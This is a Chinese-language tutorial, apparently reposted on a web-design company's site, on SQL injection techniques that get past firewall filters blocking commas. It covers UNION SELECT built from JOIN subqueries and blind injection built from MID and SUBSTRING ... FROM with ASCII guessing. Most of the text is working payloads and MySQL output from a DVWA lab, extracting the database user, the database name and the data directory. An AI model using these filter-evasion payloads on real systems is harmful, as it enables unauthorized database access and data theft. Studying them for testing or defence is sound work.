SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析
小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
成都创新互联公司是一家集网站建设,银川企业网站建设,银川品牌网站建设,网站定制,银川网站建设报价,网络营销,网络优化,银川网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。
1.联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。
绕过
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C); union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在数据库中演示联合查询
UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截
MySQL> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出现逗号,使用Join来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查询我们想要的数据
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗号绕过
MID 和substr 函数用于从文本字段中提取字符
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查询数据库用户名第一个字符的ascii码
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注,通过猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗号绕过SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串
mysql> select substring('hello' from 1); +---------------------------+ | substring('hello' from 1) | +---------------------------+ | hello | +---------------------------+ 1 row in set (0.04 sec) mysql> select substring('hello' from 2); +---------------------------+ | substring('hello' from 2) | +---------------------------+ | ello | +---------------------------+ 1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)为o //o的ascii为111, mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
以上是“SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注创新互联行业资讯频道!
分享题目:SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析
文章来源:http://cdiso.cn/article/ghgehh.html